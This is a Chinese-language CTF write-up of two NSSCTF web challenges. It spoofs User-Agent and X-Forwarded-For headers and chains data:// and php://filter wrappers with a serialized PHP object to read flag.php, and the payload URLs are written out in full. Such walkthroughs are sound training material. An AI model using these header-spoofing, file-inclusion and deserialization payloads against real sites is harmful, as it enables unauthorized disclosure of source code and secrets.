NSSCTF Web 題解 Write up

枫红染秋發表於2024-08-03

NSSCTF Web 題解 Write up

一、Do_you_know_http

1、開題

image-20240708132823258

2、分析

頁面顯示請使用“WLLM”瀏覽器,我沒聽說過“WLLM”瀏覽器,那首先去User-Agent修改訪問的瀏覽器。

用HackBar分析,將UA的值改成WLLM。

image-20240708134938478

用EXECUTE請求

image-20240708135009936

頁面顯示你只可以在本地正常閱讀,並給出了ip。那簡單,還是用HackBar,在當前頁面下新增XFF的值為本地即127.0.0.1

image-20240708135443989

顯示頁面給出flag

相關知識點:

1、HTTP請求頭:
X-Forwarded-For 用於表示經過代理伺服器或負載均衡器的 HTTP 流量的原始 IP 地址。當 HTTP 請求經過 多個代理伺服器 或 負載均衡器 時,X-Forwarded-For 的值可能包含 多個用逗號隔開的 IP 地址,而第一個 IP 地址通常就是 源客戶端的 IP 地址。4

User-Agent
HTTP 請求報文中的 User-Agent 請求頭是一個用來 標識傳送請求的客戶端(通常是瀏覽器或其他網路應用程式)的字串。這個字串通常包含了客戶端的應用程式名稱、版本號、作業系統資訊和一些其他相關的資訊,用來 幫助伺服器識別請求的來源。User-Agent 請求頭的 主要目的 是為了讓伺服器能夠根據客戶端的不同特性來適配響應內容,以提供更好的使用者體驗。

二、[ZJCTF 2019]NiZhuanSiWei

1、開題

image-20240723110336274

2、分析

開幕就是依託php程式碼,大概看一下,需要透過GET方法傳入text,file和password,其中text要求強等於“welcome to the zjctf”,那我們可以用data偽協議傳入text。構造payload:node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf

回顯:

image-20240723111040885

接下來看第二層繞過,可以看到flag.php被ban掉了,根據提示useless.php我們可以用filter偽協議讀取原始檔,構造payload如下:node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

回顯:

image-20240723111438850

一串看不懂的字元,丟進賽博廚子解碼看看

image-20240723111526079

得出一串php程式碼:

`<?php`  

`class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);` 
            `echo "<br>";`
        `return ("U R SO CLOSE !///COME ON PLZ");`
        `}  
    }  
}  
?>`  

在本地進行序列化操作:

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>  

輸出為O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

構造payload為node4.anna.nssctf.cn:28370?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

回顯:

image-20240723111939996

ctrl+U檢視原始碼找到flag:

image-20240723112014554

相關知識點:

1、data:// 資料

data://偽協議是資料流封裝器,傳遞相應格式的資料。

通常可以用來執行PHP程式碼和傳輸被過濾字元。

用法:

data://text/plain,test
data://text/plain;base64,dGVzdA==

2、php:// 訪問各個輸入/輸出流

php://偽協議作用是訪問各個輸入輸出流

在CTF中經常用到的是php://filterphp://input

php://filter用來讀取原始碼(.php檔案的原始碼);php://input用來執行php程式碼(通常以post形式,post一段php程式碼上去執行[注:allow_url_include要為On])

用法:

php://filter/read=convert.base64-encode/resource=flag.php

三、

相關文章